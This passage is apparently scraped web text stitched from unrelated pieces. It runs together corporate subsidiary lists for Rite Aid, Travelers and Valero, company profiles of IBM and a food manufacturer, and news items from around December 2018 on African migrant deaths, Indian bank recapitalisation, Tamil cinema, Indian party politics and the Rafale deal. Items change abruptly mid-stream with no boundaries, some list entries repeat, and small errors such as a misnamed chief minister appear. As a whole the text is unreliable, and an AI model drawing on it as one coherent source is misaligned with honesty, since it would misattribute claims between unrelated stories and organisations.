Duso's, Gourmet Chef, Island City Baking, Skilcor, Leadbetter's, Mclean Meats, Buddy's Kitchen, Raybern's, Partner's Crackers, Shaw Bakers, Oberto, Concord Meats, Country Prime Meats, The Meat Factory, and Golden Valley Farms. It serves chains and large format retailers, independent and specialty retailers, foodservice operators, foodservice distributors, and other food manufacturers and food brokers. The company was founded in 1917 and is headquartered in Richmond, Canada. Read More The following companies are subsidiares of Rite Aid: 1515 West State Street Boise Idaho LLC, 1740 Associates LLC, 4042 Warrensville Center RoadWarrensville Ohio Inc., 5277 Associates Inc., 5600 Superior Properties Inc., Advance Benefits LLC, Apex Drug Stores Inc., Ascend Health Technology LLC, Bartell Drugs, Broadview and WallingsBroadview Heights Ohio Inc., Design Rx Holdings LLC, Design Rx LLC, Design Rxclusives LLC, Drug Palace Inc., EDC Drug Stores Inc., Eckerd Corporation, Edgehill Drugs, Elixir Insurance Company, Elixir Pharmacy LLC, Elixir Rx Options LLC, Elixir Rx Solutions LLC, Elixir Rx Solutions LLC, Elixir Rx Solutions of Nevada LLC, Elixir Savings LLC, Envision Pharmaceutical, Envision Pharmaceutical Holdings LLC, EnvisionRx Puerto Rico Inc., First Florida Insurers of Tampa LLC, GDF Inc., Genovese Drug Stores Inc., Gettysburg and Hoover-Dayton Ohio LLC, Grand River & Fenkell LLC, Harco, Harco Inc., Health Dialog, Health Dialog Services Corporation, Hunter Lane LLC, ILG 90 B Avenue Lake Oswego LLC, JCG (PJC) USA LLC, JCG Holdings (USA) Inc., K&B Alabama Corporation, K&B Incorporated, K&B Industries, K&B Louisiana Corporation, K&B Mississippi Corporation, K&B Services Incorporated, K&B Tennessee Corporation, K&B Texas Corporation, LMW 90B Avenue Lake Oswego Inc., Lakehurst and Broadway Corporation, Laker Software LLC, Maxi Drug Inc., Maxi Drug North Inc., Maxi Drug South L.P., Maxi Green Inc., Munson & Andrews LLC, Name Rite LLC, P.J.C. Distribution Inc., P.J.C. Realty Co. Inc., PCS Health Systems, PDS-1 Michigan Inc., PJC Lease Holdings Inc., PJC Manchester Realty LLC, PJC Peterborough Realty LLC, PJC Realty MA Inc., PJC Revere Realty LLC, PJC Special Realty Holdings Inc., PJC of Massachusetts Inc., PJC of Rhode Island Inc., PJC of Vermont Inc., Perry Distributors Inc., Perry Drug Stores Inc., RCMH LLC, RDS Detroit Inc., READs Inc., RediClinic, RediClinic Associates Inc., RediClinic LLC, RediClinic US LLC, RediClinic of DC LLC, RediClinic of DE LLC, RediClinic of Dallas Forth-Worth LLC, RediClinic of MD LLC, RediClinic of PA LLC, RediClinic of VA LLC, Richfield Road Flint Michigan LLC, Rite Aid Drug Palace Inc., Rite Aid Hdqtrs. Corp., Rite Aid Hdqtrs. Funding Inc., Rite Aid Lease Management Company, Rite Aid Online Store Inc., Rite Aid Payroll Management Inc., Rite Aid Realty Corp., Rite Aid Rome Distribution Center Inc., Rite Aid Specialty Pharmacy LLC, Rite Aid Transport Inc., Rite Aid of Connecticut Inc., Rite Aid of Delaware Inc., Rite Aid of Georgia Inc., Rite Aid of Indiana Inc., Rite Aid of Kentucky Inc., Rite Aid of Maine Inc., Rite Aid of Maryland Inc., Rite Aid of Michigan Inc., Rite Aid of New Hampshire Inc., Rite Aid of New Jersey Inc., Rite Aid of New York Inc., Rite Aid of North Carolina Inc., Rite Aid of Ohio Inc., Rite Aid of Pennsylvania LLC, Rite Aid of South Carolina Inc., Rite Aid of Tennessee Inc., Rite Aid of Vermont Inc., Rite Aid of Virginia Inc., Rite Aid of Washington D.C. Inc., Rite Aid of West Virginia Inc., Rite Investments Corp., Rite Investments Corp. LLC, Rx Choice Inc., Rx Initiatives LLC, Rx USA Inc., The Bartell Drug Company, The Jean Coutu Group (PJC) USA Inc., The Lane Drug Company, Thrift Drug Inc., Thrifty Corporation, and Thrifty PayLess Inc.. International Business Machines Corp. is an information technology company, which provides integrated solutions that leverage information technology and knowledge of business processes. It operates through the following segments: Cloud and Cognitive Software, Global Business Services, Global Technology Services, Systems, and Global Financing. The Cloud and Cognitive Software segment provides integrated and secure cloud, data, and solutions to the clients. The Global Business Services segment provides clients with consulting, application management, and business process outsourcing services. The Global Technology Services segment provides comprehensive IT infrastructure and platform services that create business value for clients. The Systems segment provides clients with innovative infrastructure platforms to help meet the requirements of hybrid cloud and enterprise AI workload. The Global Financing segment provides client financing, commercial financing, and participates in the remanufacturing and remarketing of used equipment. The company was founded by Charles Ranlett Flint and Thomas J. Watson Sr. on June 16, 1911 and is headquartered in Armonk, NY. Read More The following companies are subsidiares of Travelers Companies: 10762962 Canada Inc., 350 Market Street LLC, 8527512 Canada Inc., Aetna Life and Casualty Co, American Equity Insurance Company, American Equity Specialty Insurance Company, Aprilgrange Limited, Arch Street North LLC, Auto Hartford Investments LLC, Bayhill Restaurant II Associates, Camperdown Corporation, Constitution State Services LLC, Discover Property & Casualty Insurance Company, Discover Specialty Insurance Company, F&G UK Underwriters Limited, Farmington Casualty Company, Fidelity and Guaranty Insurance Company, Fidelity and Guaranty Insurance Underwriters Inc., First Floridian Auto and Home Insurance Company, Gulf Underwriters Insurance Company, IHP Capital Partners Fund VIII L.P., Northbrook Holdings Inc., Northfield Insurance Company, Northland Casualty Company, Northland Insurance Company, Phoenix UK Investments LLC, SPC Insurance Agency Inc., Select Insurance Company, Simply Business Holdings Inc., Simply Business Inc., St. Paul Fire and Marine Insurance Company, St. Paul Guardian Insurance Company, St. Paul Mercury Insurance Company, St. Paul Protective Insurance Company, St. Paul Surplus Lines Insurance Company, Standard Fire Properties LLC, Standard Fire UK Investments LLC, TCI Global Services Inc., TPC Investments Inc., TPC U.K. Investments LLC, The Automobile Insurance Company of Hartford Connecticut, The Charter Oak Fire Insurance Company, The Dominion of Canada General Insurance Company, The Family Business Institute LLC, The Phoenix Insurance Company, The St. Paul Companies Inc., The Standard Fire Insurance Company, The Travelers Casualty Company, The Travelers Home and Marine Insurance Company, The Travelers Indemnity Company, The Travelers Indemnity Company of America, The Travelers Indemnity Company of Connecticut, The Travelers Lloyds Insurance Company, TravCo Insurance Company, Travelers (Bermuda) Limited, Travelers Brazil Acquisition LLC, Travelers Brazil Holding LLC, Travelers Casualty Company of Connecticut, Travelers Casualty Insurance Company of America, Travelers Casualty UK Investments LLC, Travelers Casualty and Surety Company, Travelers Casualty and Surety Company of America, Travelers Casualty and Surety Company of Europe Limited, Travelers Commercial Casualty Company, Travelers Commercial Insurance Company, Travelers Constitution State Insurance Company, Travelers Distribution Alliance Inc., Travelers Excess and Surplus Lines Company, Travelers Global Inc., Travelers Indemnity U.K. Investments LLC, Travelers Insurance Company Limited, Travelers Insurance Company of Canada, Travelers Insurance Designated Activity Company, Travelers Insurance Group Holdings Inc., Travelers Lloyds of Texas Insurance Company, Travelers London Limited, Travelers MGA Inc., Travelers Management Limited, Travelers Marine LLC, Travelers Participacoes em Seguros Brasil S.A., Travelers Personal Insurance Company, Travelers Personal Security Insurance Company, Travelers Property Casualty Company of America, Travelers Property Casualty Corp., Travelers Property Casualty Insurance Company, Travelers Seguros Brasil S.A., Travelers Syndicate Management Limited, Travelers Texas MGA Inc., Travelers Underwriting Agency Limited, Ultramar Travel Management, United States Fidelity and Guaranty Company, Xbridge Limited, Zensurance Brokers Inc., and Zensurance Inc.. The following companies are subsidiares of Valero Energy: AIR BP-PBF DEL PERU SAC, BELFAST STORAGE LTD, CANADIAN ULTRAMAR COMPANY, COLONNADE TEXAS INSURANCE COMPANY LLC, COLONNADE VERMONT INSURANCE COMPANY, DIAMOND ALTERNATIVE ENERGY LLC, DIAMOND ALTERNATIVE ENERGY OF CANADA INC., DIAMOND GREEN DIESEL HOLDINGS LLC, DIAMOND GREEN DIESEL LLC, DIAMOND K RANCH LLC, DIAMOND OMEGA COMPANY L.L.C., DIAMOND SHAMROCK REFINING COMPANY L.P., DIAMOND UNIT INVESTMENTS L.L.C., DSRM NATIONAL BANK, ENTERPRISE CLAIMS MANAGEMENT INC., GCP LOGISTICS COMPANY LLC, GOLDEN EAGLE ASSURANCE LIMITED, HAMMOND MAINLINE PIPELINE LLC, HUNTWAY REFINING COMPANY, MAINLINE PIPELINES LIMITED, MAPLE ETHANOL LTD., MICHIGAN REDEVELOPMENT GP LLC, MICHIGAN REDEVELOPMENT L.P., MRP PROPERTIES COMPANY LLC, NECHES RIVER HOLDING CORP., NORCO METHANOL LLC, OCEANIC TANKERS AGENCY LIMITED, PARKWAY PIPELINE LLC, PENTA TANKS TERMINALS S.A., PI DOCK FACILITIES LLC, PICKARD PLACE CONDOMINIUM ASSOCIATION, PORT ARTHUR COKER COMPANY L.P., PREMCOR USA INC., PROPERTY RESTORATION L.P., PURE BIOFUELS DEL PERU S.A.C., PURE BIOFUELS HOLDINGS L.P., Parkway Pipeline, Premcor, Pure Biofuels Del Peru, SABINE RIVER HOLDING CORP., SABINE RIVER LLC, SAINT BERNARD PROPERTIES COMPANY LLC, SUNBELT REFINING COMPANY L.P., THE PREMCOR PIPELINE CO., THE PREMCOR REFINING GROUP INC., THE SHAMROCK PIPE LINE CORPORATION, TRANSPORT MARITIME ST. LAURENT INC., ULTRAMAR ACCEPTANCE INC., ULTRAMAR ENERGY INC., ULTRAMAR INC., Ultramar Diamond Shamrock, V-TEX LOGISTICS LLC, VALERO (BARBADOS) SRL, VALERO (PERU) HOLDINGS GP LLC, VALERO (PERU) HOLDINGS LIMITED, VALERO ADMINISTRATIVE SERVICES DE MEXICO S.A. DE C.V., VALERO ADMINISTRATIVE SERVICES DE MEXICO S.A. DE C.V., VALERO ARUBA ACQUISITION COMPANY I LTD., VALERO ARUBA FINANCE INTERNATIONAL LTD., VALERO ARUBA HOLDING COMPANY N.V., VALERO ARUBA HOLDINGS INTERNATIONAL LTD., VALERO ARUBA MAINTENANCE/OPERATIONS COMPANY N.V., VALERO BROWNSVILLE TERMINAL LLC, VALERO CANADA FINANCE INC., VALERO CANADA L.P., VALERO CAPITAL CORPORATION, VALERO CARIBBEAN SERVICES COMPANY, VALERO COKER CORPORATION ARUBA N.V., VALERO CUSTOMS & TRADE SERVICES INC., VALERO EAST BAY LLC, VALERO ENERGY (IRELAND) LIMITED, VALERO ENERGY ARUBA II COMPANY, VALERO ENERGY INC., VALERO ENERGY LTD, VALERO ENERGY PARTNERS GP LLC, VALERO ENERGY PARTNERS LP, VALERO ENERGY UK LTD, VALERO ENTERPRISES INC., VALERO EQUITY SERVICES LTD, VALERO FINANCE L.P. I, VALERO FINANCE L.P. II, VALERO FINANCE L.P. III, VALERO FOREST CONTRIBUTION LLC, VALERO GRAIN MARKETING LLC, VALERO H2 PIPELINE COMPANY LLC, VALERO HOLDCO UK LTD, VALERO HOLDINGS INC., VALERO INTERNATIONAL HOLDINGS INC., VALERO LIVE OAK LLC, VALERO LOGISTICS UK LTD, VALERO MARKETING AND SUPPLY (PANAMA) LLC, VALERO MARKETING AND SUPPLY COMPANY, VALERO MARKETING AND SUPPLY DE MEXICO S.A. DE C.V., VALERO MARKETING AND SUPPLY DE MEXICO S.A. DE C.V., VALERO MARKETING AND SUPPY INTERNATIONAL LTD., VALERO MARKETING IRELAND LIMITED, VALERO MKS LOGISTICS L.L.C., VALERO NEDERLAND COOPERATIEF U.A., VALERO NEDERLAND COOPERATIEF U.A., VALERO NEW AMSTERDAM B.V., VALERO OMEGA COMPANY L.L.C., VALERO OPERATIONAL SERVICES DE MEXICO S.A. DE C.V., VALERO OPERATIONAL SERVICES DE MEXICO S.A. DE C.V., VALERO OPERATIONS SUPPORT LTD, VALERO PARTNERS CCTS LLC, VALERO PARTNERS CORPUS EAST LLC, VALERO PARTNERS CORPUS WEST LLC, VALERO PARTNERS EP LLC, VALERO PARTNERS HOUSTON LLC, VALERO PARTNERS LOUISIANA LLC, VALERO PARTNERS LUCAS LLC, VALERO PARTNERS MCKEE LLC, VALERO PARTNERS MEMPHIS LLC, VALERO PARTNERS MERAUX LLC, VALERO PARTNERS NORTH TEXAS LLC, VALERO PARTNERS OPERATING CO. LLC, VALERO PARTNERS PAPS LLC, VALERO PARTNERS PORT ARTHUR LLC, VALERO PARTNERS SOUTH TEXAS LLC, VALERO PARTNERS TEXAS CITY LLC, VALERO PARTNERS THREE RIVERS LLC, VALERO PARTNERS WEST MEMPHIS LLC, VALERO PARTNERS WEST TEXAS LLC, VALERO PARTNERS WYNNEWOOD LLC, VALERO PAYMENT SERVICES COMPANY, VALERO PEMBROKESHIRE LLC, VALERO PEMBROKESHIRE OIL TERMINAL LTD, VALERO PLAINS COMPANY LLC, VALERO POWER MARKETING LLC, VALERO RAIL OPERATIONS DE MEXICO S.A. DE C.V., VALERO RAIL OPERATIONS DE MEXICO S.A. DE C.V., VALERO RAIL PARTNERS LLC, VALERO REFINING AND MARKETING COMPANY, VALERO REFINING COMPANY-ARUBA N.V., VALERO REFINING COMPANY-CALIFORNIA, VALERO REFINING COMPANY-OKLAHOMA, VALERO REFINING COMPANY-TENNESSEE L.L.C., VALERO REFINING-MERAUX LLC, VALERO REFINING-NEW ORLEANS L.L.C., VALERO REFINING-TEXAS L.P., VALERO RENEWABLE FUELS COMPANY LLC, VALERO SECURITY SYSTEMS INC., VALERO SERVICES INC., VALERO SKELLYTOWN PIPELINE LLC, VALERO TEJAS COMPANY LLC, VALERO TERMINAL HOLDCO LTD, VALERO TERMINALING AND DISTRIBUTION COMPANY, VALERO TERMINALING AND DISTRIBUTION DE MEXICO S.A. DE C.V., VALERO TEXAS POWER MARKETING INC., VALERO ULTRAMAR HOLDINGS INC., VALERO UNIT INVESTMENTS L.L.C., VALERO WEST WALES LLC, VRG PROPERTIES COMPANY, VTD PROPERTIES COMPANY, WARSHALL COMPANY LLC, and ZELIG COMMERCIAL INC.. ROME - The International Organization for Migration (IOM) has reported that an estimated 6,615 migrants have died over the past five years in Africa. Most deaths appear to have occurred while migrants were en route to Libya, the UN agency said. The deaths recorded since 2014 were predominately in the Sahara Desert, northern Niger, southern Libya, and northern Sudan, IOM noted. 1,386 deaths recorded this year IOM's Mission Migrants Project (MMP), which publishes records from hundreds of eyewitness reports of deaths during migration in Africa, said the total number of deaths recorded on the continent this year was 1,386. However, the organization stressed that its survey ''represents only a small fraction of the overall number of people on the move in Africa - meaning that these thousands of deaths are likely a substantial undercount of the true number'', according to a statement issued by the organization this week. ''When people don't have access to legal migration routes and few reliable records exist, would-be migrants face vulnerability at the hands of human traffickers and smugglers,'' said Frank Laczko, the director of IOM's data analysis center in Berlin, was quoted as saying in the statement. Migrants face starvation, dehydration, violence The main causes of death on routes within Africa recorded by the organization include starvation, dehydration, physical abuse, sickness and lack of access to medicines. According to IOM's data, nearly 3,400 migrants and refugees have already lost their lives worldwide in 2018. Most died trying to reach Europe by sea. IOM's Director General Antonio Vitorino on International Migrants Day on Tuesday said these numbers ''shame us''. Morocco: Three arrested for murder of Scandinavian women 'We won't surrender to terrorism', says Danish PM Rasmussen (ANSAmed) - COPENHAGEN, DECEMBER 20 - Moroccan authorities have arrested three additional suspects in the murder of two Scandinavian tourists on the Atlas mountains in Morocco. One suspect was detained Tuesday. The man is suspected by Moroccan prosecutors of being a member of an Islamist group. Danish Prime Minister Lars Lokke Rasmussen said the murder of the two young women, a Danish and a Norwegian national, can be considered as ''politically motivated and thus an act of terrorism''. The premier spoke about ''obscure forces that want to fight our values'' against which ''we must not surrender''. New Delhi: The Centre on Thursday sought parliaments nod for enhancing funds earmarked for the recapitalisation of state-owned banks to Rs 1,06,000 crore from an earlier target of Rs 65,000 crore in the current financial year. This would enable infusion of over Rs 83,000 crore in the next few months in Public Sector Banks (PSBs), said a finance ministry official. The government is keen on boosting liquidity to the industry so that the economic growth could pick up and more jobs are created ahead of crucial Lok Sabha elections in 2019. The recapitalisation, finance minister Arun Jaitley said, will enhance the lending capacity of state-owned banks and help them come out of the RBIs Prompt Corrective Action (PCA) framework. Mr Jaitley said the recognition of non-performing assets in the public sector banks is complete, and the downslide in bad loans has begun. The finance ministry said that PSBs have alrea-dy recovered Rs 60,726 crore of the outstanding bad loans in the April-Sept-ember period, which it termed as a record haul. The ministry said that this recovery is more than double the amount recovered over the corresponding period last year. It said that gross NPAs of the public sector banks have started declining after peaking in March 2018, registering a decline of `23,860 crore in the first half of the current financial year. The government had earlier announced infusion of Rs 65,000 crore in PSBs in 2018-19. Of which, Rs 23,000 crore has already been disbursed, while Rs 42,000 crore is remaining. Four banks State Bank of India, Bank of Baroda, Indian Bank and Vijaya Bank may not need capital. A total of 11 out of the 21 public sector banks are under RBIs PCA framework, which imposes lending restrictions on weak banks. The additional resources have been sought to help the banks to meet their regulatory capital norms and providing capital to better-performing PCA banks to achieve nine per cent Capital to Risk-weig-hted Asset Ratio (CRAR) to come out of PCA. The banks, which have not attracted RBIs lending restrictions but are in breach of some thresholds, will also get additional funds from the government. After getting appreciation and becoming an overnight star with the film Mahanati, Keerthy Suresh didnt sign any Telugu film. Generally, after one success, they look for more Telugu films, but Keerthy is different. She is concentrating more on Tamil films. In fact, after this Telugu film, a few of her Tamil films released and she has now signed another Tamil film, says a source. She has been roped in to play opposite none other than the Tamil superstar Rajanikanth, added the source. A.R. Murugudoss is directing this film and the shoot will start soon. The actress feels that if she signs a Tamil film, it is in any case also releasing in Telugu, so she is concentrating more on Tamil, added the source. The other reason is that she doesnt want to do the typical, commercial, formula films in Telugu. She got offers from Telugu, but she has not shown interest as many of them are commercial ones, adds the source. The Chennai police on Thursday arrested actor and Tamil Film Producers Council President Vishal after he tried to break open the lock on the TPFC office door in T.Nagar put by a rival group in T. Nagar. A group of producers had protested against Vishal, accusing him of acting arbitrarily and swindling the councils money. Demanding his resignation, the group had locked both offices of TFPC. Vishal halted his shoot in Puducherry and headed back to the city late at night. Along with other office bearers of TFPC, he lodged a complaint with Pondy Bazaar Police Station against the rival group. On Thursday morning, Vishal and his supporters reached the council office at T. Nagar and allegedly tried to break the lock. The police deployed there stopped the actor from entering the office. Heated arguments took place with Vishal questioning the cops as to why so many police have been deployed to safeguard a building that had been locked by unauthorised people. When he persisted on entering the building, police arrested him. Speaking to the press, an angry Vishal said, I have not committed any mistake. They are not allowing me to go inside my office. If we ask questions they are arresting us. This is unbelievable. Cops on their part reportedly said that When Vishals complaint is under scrutiny, he cannot take the law in his hands and try to enter the premises. Hence we detained him. Vishal took to twitter to post, Police who were mute yesterday when unauthorised ppl locked the doors & gates of TFPC have arrested me & my colleague today for no fault of ours, absolutely unbelievable. We will fight back, will do everything to conduct Ilayaraja sir event & raise funds to help producers in distress (sic). It was revealed that the locks were removed from the TFPC offices later in the day. In the meantime, the rival group of producers, including T. Siva, Suresh Kamatchi, S.Ve. Shekher, Alagappan and K. Rajan under Bharathirajas guidance met Chief Minister Edappadi Palanisamy at the Secretariat and submitted a memorandum addressing their grievances and the problems plaguing TFPC. Hyderabad: A round table conference organised by former PCC president and OBC MPs Forum former convener V. Hanumantha Rao demanded that the state government implement 34 per cent reservations for BCs in panchayat raj elections. If that is not possible, postpone the elections to rework the modalities, he said. The conference opposed the ordinance issued by the government restricting BC reservations in panchayats from 34 per cent earlier to 28 per cent. The conference was attended by Justice (retd) Eshwariah, Telangana TD president L. Ramana, former ministers Ponnala Lakshmaiah and J. Chittaranjan Das, Congress MLC Akula Lalitha and leaders of the CPI, the TJS and BC organisation. The conference decided to hold a dharna at Hyderabad on Thursday and later in the districts demanding 34 per cent reservations to BCs. Mr Hanumantha Rao said that they had decided to file a review petition in the High Court on the matter. He said that they would approach the court and seek implementation of reservations as in Tamil Nadu. Chennai: The AIADMK on Wednesday expelled party coordinator and state deputy Chief Minister O Panneerselvams younger brother O Raja from the party, accusing him of functioning against its principles, policies, aims and objectives. He had caused disrepute to the party, said an announcement jointly signed by OPS in his capacity as the AIADMK coordinator and Chief Minister Edappadi K Palaniswami as the party joint-coordinator. The expulsion of Raja came just hours after he was declared elected as chairman of the district milk producers union (Aavin) at Theni. The announcement sent shock waves down the ruling party even though rumours had been doing the rounds for quite some time that OPS and brother Raja have serious differences, possibly over the latter being upset over OPS promoting his son. It was also said that Raja was veering towards TTV Dhinakaran because of OPS promoting his son in the party. But for the record, the AIADMK maintained that Raja deserved the axe and has been removed from all the party positions as he had gone against party discipline. None in the party should henceforth keep in touch with him, said the OPS-EPS statement. This shows the AIADMK is a party of high discipline. This is a welcome thing as action has been taken (by OPS) despite Raja being his younger brother and this will be a lesson for others too, said AIADMK senior D Jayakumar at a media interaction. He declined to elaborate on what acts of indiscipline Raja had indulged in to get the axe. Interestingly, several AIADMK functionaries and that included minister Sellur K Raju had participated in the celebration earlier in the day to greet Raja after he was declared elected as chairman of the district Aavin union. Sources said Raja got the marching orders because he became the chairman of the Aavin union in home district Theni ignoring annan OPS diktat that he should not contest. While critics allege that OPS was promoting his son over the head and shoulders of brother Raja some others insist that the party could brook no more delay in weeding out undisciplined Raja, who had been even involved in some serious criminal cases. Mumbai: BJP national president Amit Shah and Union minister for shipping Nitin Gadkari have both ridiculed the idea of a Congress-led Mahagathbandhan (grand alliance) for the upcoming Lok Sabha elections. While Mr Shah termed the mega-alliance confusing and said it would not help its constituents, Mr Gadkari called it an alliance of weak parties. Speaking at an event in Mumbai, the BJP president said the reality of the Mahagathbandhan was different from what was being portrayed. They dont exist if you picture the entire country. If Deve Gowdaji has a rally in Maharashtra, Mamataji campaigns in Gujarat and Chandrababu Naidu campaigns in MP will it affect anyone? They are regional leaders. They will contest in their regions. They are not in a position to help each other, he said. Responding on the possibility of a coalition of Opposition parties ahead of the Lok Sabha elections, Mr Gadkari said that the term Mahagathbandhan is synonymous with an alliance of the weak. There are two characteristics of Mahaghatbandhans: first, people who are weak form Mahagathbandhans. Secondly, they now know that they are in trouble and have no power to fight. Thats why they decided to unite, said the Union minister. During an elaborative discussion on BJP-Shiv Sena alliance, Mr Gadkari used a Marathi proverb to explain the equation between the two parties in the state of Maharashtra. Have you heard of the Marathi proverb Tujha majha jamena...tujhya vachun karmena? It means Cant live with you, cant live without you. The Sena-BJP alliance was laid on the basis of Hindutva. Even now, there is no conflict between the two parties on the basis of Hindutva. I feel that for the benefit of the nation and Maharashtra and its citizens, the BJP and Shiv Sena should come together. We are trying to form an alliance and I feel that it will take place, said Mr Gadkari. Mr Shah has also expressed hope that Shiv Sena would continue its alliance with his party for the 2019 Lok Sabha polls. Mr Shah said that the BJP would like to forge an alliance with the Sena. He also indicated that the Bharatiya Janata Party would gain more partners ahead of the 2019 polls than it had before the 2014 elections. Maharashtra chief minister Devendra Fadnavis is frequently in touch with the Shiv Sena leadership at the state level. The Shiv Sena is already a part of the Central and state governments and it would continue its alliance with the Bharatiya Janata Party ahead of the 2019 Lok Sabha elections, he said. Shiv Sena chief Uddhav Thackeray had earlier this year announced that his party would contest future elections on its own. He had also taken up the agenda of construction of Ram temple on the disputed site in Ayodhya and had visited the temple town last month. At present, Harsh Vardhan Shringla is serving as the Indian High Commissioner to Bangladesh. (Photo: Facbeook | Harsh V Shringla) New Delhi: Seasoned diplomat Harsh Vardhan Shringla was appointed today as the next Ambassador of India to the United States. Shringla, a 1984-batch Indian Foreign Service diplomat will succeed Navtej Sarna. "He is expected to take up the assignment shortly," the Ministry of External Affairs said in its statement today. At present, Shringla is serving as the Indian High Commissioner to Bangladesh. Senior diplomat Riva Ganguly Das, presently Director General of Indian Council for Cultural Relations, has been appointed as new High Commissioner to Bangladesh. Hyderabad: The proposed Mahagathbandan (grand alliance) against the BJP at national level has run into a wall even before its launch. The grand alliance has divided into two groups. Uttar Pradesh former Chief Ministers Akhilesh Yadav of the Samajwadi Party and Mayawati of the Bahujan Samajwadi Party, and former Union Minister Ajit Singh of the RLD have formed an alliance and will contest separately in next years Lok Sabha elections. The Trinamul, too, has ruled out a pre-poll alliance with the Congress but has kept its post-poll options open. The three parties have decided to share the Lok Sabha seats in Uttar Pradesh. The Trinamul, too, has ruled out any possibility of a pre-poll alliance with the Congress but has kept its post-poll options open. Andhra Pradesh Chief Minister N. Chandrababu Naidu had recently held discussions with all these parties on the formation of a grand alliance against the BJP at national level. The decision of the SP, BSP and RLD, to from a separate alliance, is thus surprising. In the three-party alliance, out of the total 80 Lok Sabha seats in the crucial state of Uttar Pradesh, the SP will contest in 37 seats and BSP will contest in 38 seats. Ajit Singhs RLD will contest three seats. This alliance has decided not to field any candidates from Amethi, which is represented by Congress president Rahul Gandhi, or from Rai Barelli which is represented by UPA chairperson Sonia Gandhi. According to sources, Akhilesh Yadav and Mayawati are angry with the Congress for its attitude towards their parties in the recent elections in Madhya Pradesh, Rajasthan and Chhattisgarh. They feel that an alliance with the Congress in UP will only help the Congress. BSP leader Anubhav Chak said that there is no question of an alliance with the Congress. He said even though the Congress has performed well in the recent Assembly elections, there wont be any pressure on the BSP to accommodate Congress in the alliance for 2019 in UP. Meanwhile, senior leader and minister of the Trinamul, Subrata Mukherjee, ruled out any possibility of a pre-poll alliance with the Congress in the parliamentary elections. Right now we will do whatever is needed to defeat the BJP; we will fight it alone, he said. Reacting to this, Abdul Mannan of the Congress wondered who has asked the Trinamul to ally with the Congress. Did we ask them to ally with us? We want to fight alone in West Bengal. Aligning with the Trinamul Congress has always been a disaster, he said. 'The Supreme court has not given clean chit on the pricing, technology, and work share contract of the Rafale deal,' Moily said. (Photo: ANI) Hyderabad: Congress Leader Veerappa Moily on Thursday accused the Indian Air Force Chief BS Dhanoa of "lying and suppressing the truth" over Rafale matter. Addressing the media, Moily said, "In government records, Defence Ministry and IAF Chief wanted HAL to be involved. IAF Chief at that time visited HAL with Dassault and found it competent and that they have the expertise. I think IAF chief is not fine, he is lying and he is suppressing the truth." Air Chief Marshal Dhanoa on Wednesday had welcomed the Supreme Court verdict on Rafale jet deal and said that the Indian Air Force needs the fighter aircraft badly. On December 14, the apex court dismissed all the petitions seeking probe into the Rafale deal stating that it was "satisfied" with the Central government's decision-making process. Read: No reason to interfere: SC dismisses petitions for CBI probe into Rafale Terming Rafale deal as the biggest scandal in the history of the country, Moily said, "There are too many suspicions, questions on this deal but no answers have been given till now. Rafael deal was an open loot done by keeping the national security under risk. (Congress chief) Rahul Gandhi has taken it as a mission to fight against it and bring out the truth of the scandal." Moily also raised questions over the price of the fighter jets and said, "Why BJP has purchased the Rafael fighter jets worth Rs 526 crore at a price of Rs 1600 crore? Why the contract was taken away from the HAL and given to Anil Ambani's Reliance? The original deal with HAL was for 126 Rafael jets in which 18 were to be brought in condition to fly and 108 were meant to be manufactured under HAL." Citing the Supreme Court verdict and subsequent submission of the central government application seeking a correction in the apex court's order, Moily said, "The government has given false reports to the Supreme Court. The judgement is based on a nonexistent CAG report. Till now CAG reports are not submitted to Public Accounts Committee. Congress party is just demanding Joint parliamentary committee in this deal." Speaking to ANI, Moily asserted that the apex court has not given any clean chit to the government on different aspects of the deal. "The Supreme court has not given clean chit on the pricing, technology, and work share contract of the Rafale deal. Prime Minister Modi has humiliated the country, he sacrificed the national interest. IAF Chief himself said that HAL is competent and today he says that the top court judgement was fine on the Rafael deal which means his opinion has no credibility," he added. Addressing the media during his visit to Air Force Station at Jodhpur, Air Chief Marshal Dhanoa had said, "The Supreme Court has given a very fine judgement and I am not going to comment on it. It has also said that this plane is badly needed. Rafale is always a need for the Air Force. It (fighter jets) took a long time to come. Others have upgraded their squadron. Also, very fine comments are given by the Finance Minister (Arun Jaitley) and our Defence Minister (Nirmala Sitharaman). Read: Air Chief Marshal hails SC's order, says IAF badly needs Rafale Hyderabad: There are some similarities between the late Chief Minister and Telugu Desam founder-president Nandamuri Taraka Rama Rao, popularly known as NTR, and Telangana Chief Minister K. Chandrasekhar Rao. Everyone knows that Mr Rao is the biggest fan of NTR; the CM has said this himself many times, and even named his son Taraka Rama Rao. In 1989, NTR sacked the entire 31-member Cabinet for leaking budget proposals to the media. For about 15 days NTR ran the administration without a Cabinet. Mr Rao seems to be following his footsteps. He took oath as Chief Minister for the second time on December 13 and since the last one week he is running the administration without a Cabinet. TRS sources say Mr Rao may form the Cabinet on December 30. If this is correct, he will run the administration without a Cabinet for 17 days. The only difference between NTR and Mr Rai is that the CM has inducted one minister Mohmood Ali while NTR had no Cabinet minister for 15 days. NTR had a farmhouse at Gandipet and built his home Shanthi Kutiram there. He would go there very often and took many important political and administrative decisions at the Gandipet Shanthi Kutiram. Mr Rao also has a farm house, at Erravalli village in his home constituency of Gajwel. And like NTR, he also loves to spend time there and takes important decisions from there, such as the decision to dissolve the state Assembly early. As the Youth Congress president of Medak district, Mr Rao was a strong follower of Congress stalwart A. Madan Mohan. After NTR launched the Telugu Desam in 1982, in undivided Andhra Pradesh, Mr Rao joined the party and was elected MLA several times. He was also a minister in the NTR Cabinet. Yet another thing the two men have in common is a strong belief in astrology and Vastu. NTRs lucky number was 9 and Mr Raos lucky number is 6; the numbers appear similar when viewed from different angles. Kollam: As the issue of women entry in Sabarimala has kindled heated debates on gender equality, the Kerala State Literacy Mission Authority has published a booklet on 'Women in Renaissance Movement'. The book intends to impart awareness on the equal role led by women in the history of social evolution of Kerala. The book contains brief descriptions on the major events involving women which shaped the renaissance movement of the State. The book opens with the Channar Revolt also called 'Maru Marakkal Samaram' - the fight from 1813 to 1859 of Nadar women in the erstwhile Travancore kingdom for the right to wear upper-body clothes to cover their breasts - terming it as the first protest by women vanguards in the history of Kerala. The book has description and caricatures on various topics including social evils like slave trade, thirandu kalyanam, puli kudi, and kettu kalyanam against which the women led successful rebellions along with other historical movements that uphold the rights of women. "The Mission expects the move to mark the beginning of a new renaissance in the wake of Sabarimala issue in which women entry is opposed by a section of people in the society in the name of safeguarding rituals and tradition," Literacy Mission Director Dr. P.S. Sreekala said. The 24-page booklet is part of the Mission's social literacy programme. The Instructors and Preraks of various projects undertaken by the Mission will be given orientation on the book followed by classes for candidates registered for equivalency courses with the Mission. Classes based on the book will be organised later for the public by lining up literacy workers under the 